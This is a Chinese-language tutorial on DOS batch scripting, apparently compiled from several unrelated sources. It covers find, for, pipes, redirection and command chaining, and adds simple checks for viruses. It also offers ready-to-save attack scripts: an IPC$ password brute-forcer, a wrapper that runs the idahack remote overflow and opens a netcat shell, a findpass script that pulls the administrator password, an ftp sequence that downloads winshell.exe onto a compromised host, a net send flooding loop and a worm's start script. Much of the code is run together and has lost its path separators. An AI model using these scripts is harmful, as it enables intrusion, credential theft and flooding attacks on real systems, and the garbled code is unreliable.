这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。

给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):

call a.bat

一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:

@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txtpause & exit

先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。

至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:

@echo offfor /? > for.txtset /? > set.txtshift /? >shift.txtexit    

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:


START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START

这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。

没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。

不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。

可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。

但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。

“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>

11、|

这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:

help | more

回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。

为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。

11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。

11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。

看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:


help > a.txtmore a.txtdel a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:

echo @echo off > a.batecho echo This is a pipeline command example. >> a.batecho echo It is very easy? >> a.batecho echo Believe your self! >> a.batecho pause >> a.batecho exit >> a.bat

依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:

@echo offecho This is a pipeline command example.echo It is very easy?echo Believe your self!pauseexit

看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。

>&,将一个句柄的输出写入到另一个句柄的输入中。

<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。

下面介绍组合命令:&、&&、||

组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。

刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?

忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!

14、&

这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:


copy a.txt b.txt /y & del a.txt

其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。

15、&&

切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:ackupwww

如果远程主机存在user.mdb,则copy到本地e:ackupwww,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:ackupwww

至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。

你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:


dir c: && dir d: > a.txt

仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:和dir d: > a.txt,而并不是如你想的这两部分:dir c: && dir d:和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:


dir c: > a.txt && dir d: >> a.txt

这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c: > a.txt和dir d: >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。

当然这里还可以利用&命令(自己想一下道理哦):


dir c: > a.txt & dir d: >> a.txt

16、||

这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:


@echo offdir s.exe || exit

其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:


@echo offdir s.exe || echo Didn't exist file s.exe & pause & exit

这样执行的结果,就能达到题目的要求,是否存在s.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。

给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:

例二十一:


@echo offdir a.ttt /a & dir a.txt || exit

例二十二:


@echo offdir a.ttt /a && dir a.txt || exit

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!

有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!

将下列代码存为bat文件

1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名

2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名

密码破解出来之后,存放于c:pass.txt文件里面。

将下列代码存为pass.bat文件

@echo off

echo ------------------------------------------------------------------- >>c:pass.txt

echo ------------------------------------------------------------------- >>c:pass.txt

date /t >>c:pass.txt

time /t >>c:pass.txt

echo 破解结果: >>c:pass.txt

if "%6"=="1" goto 大棒槌是我的说2

:大棒槌是我的说1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

goto quit

:大棒槌是我的说2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

:quit

将下列代码存为test.bat

net use \%1ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2

:answer0

echo 远程主机:"%1" >>c:pass.txt

echo 用 户:"%3" >>c:pass.txt

echo 密 码:%2 >>c:pass.txt

net use \%1ipc$ /delet

exit

:answer2


For

对一组文件中的每个文件运行指定的命令。

可以在批处理程序中或直接从命令提示符使用 for 命令。

要在批处理程序中使用 for 命令,请使用以下语法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,请使用以下语法:

for %variable in (set) do command [command-parameters]

参数

%%variable 或 %variable

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。

(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的 set 所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。

如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。

For 命令的其他形式

如果启用了命令扩展,将支持如下 for 命令的其他格式:

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符( 和 ?),则指定与目录名匹配,而不是文件名。

递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。

BAT文件技巧

文章结构

1. 所有内置命令的帮助信息

2. 环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

######################################################################

1. 所有内置命令的帮助信息

######################################################################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

######################################################################

2. 环境变量的概念

######################################################################

_

C:Program Files>set

ALLUSERSPROFILE=C:Documents and SettingsAll Users

CommonProgramFiles=C:Program FilesCommon Files

COMPUTERNAME=FIRST

ComSpec=C:WINNTsystem32cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:WINNTsystem32os2dll;

Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSORLEVEL=6

PROCESSORREVISION=0605

ProgramFiles=C:Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:WINNT

TEMP=C:WINNTTEMP

TMP=C:WINNTTEMP

USERPROFILE=C:Documents and SettingsDefault User

windir=C:WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%system32. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%system32.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir% 变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

C:>dir p

C: 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 个文件 2,164 字节

1 个目录 1,505,997,824 可用字节

C:>cd pro

C:Program Files>

C:>

C:>cd "Program Files"

C:Program Files>

######################################################################

3. 内置的特殊符号(实际使用中间注意避开)

######################################################################

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux / | || && ^ > <

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

| 管道操作

& Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

dir c:.exe & dir d:.exe & dir e:.exe

&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

######################################################################

4. 简单批处理文件概念

######################################################################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"

这个将要列出所有连接3389的用户的ip.

test.bat__

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

ida.bat_

@rem ver 1.0

@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%_tmp

@find "good luck :)" %temp%_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%_tmp

@type %temp%_tmp

@find "good luck :)" %temp%tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

ida.batEND

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

fpass.bat

@rem ver 1.0

@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%_findpass.txt

@echo Herepass★★★★★★★★

@ipconfig /all >>%temp%_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

fpass.batEND__

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

批处理,说白了就是DOS操作。有人认为DOS操作过时了、落后了,其实不然。DOS操作最大的好处就在于快、不留痕。在许多时候,Windows操作是根本解决不了问题的,必须借助DOS操作。

  必备常识:批处理的编写和修改

  打开记事本,将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。

  批处理运用一:扫描本地端口

  这个功能优化大师有,就是扫描哪个端口与internet连接和连接ip。这,为及时发现并拦截非法连接有着不可取代的功劳。

  然而,启动优化大师太慢了,而且太烦了,不利于随机使用。因此,编写一个这样的批处理来解决问题就显得尤为重要了。

  代码:

  netstat -n

  pause

  附:也可在每一行开头添上“@”,这样命令就不会显示出来。

  批处理运用二:查常见病毒

  其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。

  我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。

  下面,我以欢乐时光为例进行分析:

  主文件:1.bat

  其它文件:2.bat 3.bat

  1.bat代码:

  @if exist c:folder.htt call 2.bat

  @if exist d:folder.htt call 2.bat

  @if exist e:folder.htt call 2.bat

  @if exist f:folder.htt call 2.bat

  2.bat代码:

  @echo 发现欢乐时光病毒!

  @call 3.bat

  @pause

  3.bat代码:

  @c:

  @dir .htt .ini /s/a>1.txt

  @d:

  @dir .htt .ini /s/a>1.txt

  @e:

  @dir .htt .ini /s/a>1.txt

